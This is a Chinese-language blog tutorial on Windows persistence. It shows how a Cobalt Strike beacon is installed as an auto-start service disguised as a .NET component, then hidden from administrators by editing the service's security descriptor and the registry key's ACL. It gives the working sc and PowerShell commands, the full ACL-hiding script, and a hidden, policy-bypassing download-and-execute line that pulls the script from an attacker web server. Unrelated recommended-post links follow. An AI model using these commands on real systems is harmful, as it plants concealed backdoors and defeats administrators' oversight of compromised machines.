Windows权限维持之利用安全描述符隐藏服务后门进行权限维持(八)

我们先打开cs的服务端

然后我们打开客户端

我们点击连接

然后弹出这个界面

然后我们新建一个监听器

然后我们生成一个beacon

然后把这个复制到目标主机

然后我们双击 运行

然后cs这边就上线了

然后我们把进程结束掉

然后我们再把他删除掉

然后我们创建服务

将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell来进行创建。

cmd创建自启动服务

复制代码
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\1.exe" depend= Tcpip obj= Localsystem start= auto

然后我们打开服务 就能看见我们新创建的服务 我们要把它开启

然后我们cs 这边就上线了

我们这里来查看服务

sc query | findstr ".NET CLR Networking 3.5.0.0"

这里出现第二个后门 因为我刚才又重新启动服务了 我们把第一个删除掉

当然我也可以用powershell

powershell创建自启动服务

复制代码
new-service --Name ".NET CLR Networking 3.5.0.0" --DisplayName ".NET CLR Networking 3.5.0.0" --BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe"  --       StartupType AutomaticDelayedStart

但创建的服务很容易被发现通过sc query和Get-Service很容易发现,直接查询服务也能看见

通过修改SDDL( 安全描述符**)**隐藏服务

众所周知, windows访问控制模型分为两部分:

access token(访问令牌)

安全描述符

安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:

对象的所有者和主要组的Sid (安全标识符)

用于指定允许或拒绝特定用户或组的访问权限的DACL。

指定为对象生成审核记录的访问尝试类型的SACL。

一组限制安全描述符或其各个成员的含义的控制位。

windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:

复制代码
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

然后我们服务就找不见了

在cmd窗口呀查询不到

在知道服务名的前提下查询会显示拒绝访问:

net start ".NET CLR Networking 3.5.0.0"

这里我们的cs也上线了

但这样做有一个问题:在注册表中很容易看到异常value。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NETCLRNetworking3.5.0.0

这里也有这个存在

修改注册表ACL

我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果。

这里给出一个通过powershell修改注册表项的访问权限的简单脚本:

复制代码
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access =
[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow"      $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

Set-Acl $S $acl
}

我们在kail上新建1.ps1

然后我们开启web服务

python3 -m http.server 80

远程加载powershell脚本:

复制代码
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.25.138/1.ps1'));Server-Sddl-Change - Name '.NET CLR Networking 3.5.0.0'"

然后哦我们重启计算机

发现也是隐藏了

详细

利用安全描述符隐藏服务后门进行权限维持

相关推荐
wanhengidc16 小时前
使用云手机能否给企业降本增效
运维·网络·科技·游戏·智能手机
D11_16 小时前
【服务器】将本地项目部署到服务器
运维·服务器
敲上瘾17 小时前
Docker 存储卷(Volume)核心概念、类型与操作指南
linux·服务器·数据库·docker·容器·架构
W-GEO17 小时前
前端安全攻防:XSS, CSRF 等常见威胁的防范与检测指南
前端·安全·xss
华强笔记17 小时前
KGDB(Kernel GNU Debugger)工具使用方法详解
网络·安全·gnu
自强的小白17 小时前
vlan(局部虚拟网)
网络·学习
愿时间能学会宽恕17 小时前
SpringBoot后端开发常用工具详细介绍——SpringSecurity认证用户保证安全
spring boot·后端·安全
徐子元竟然被占了!!17 小时前
RIP协议
网络·网络协议
程序务虚论17 小时前
mac M1上安装windows虚拟机报错
windows·macos·parallels
Yuki’17 小时前
网络编程---TCP
服务器·网络·tcp/ip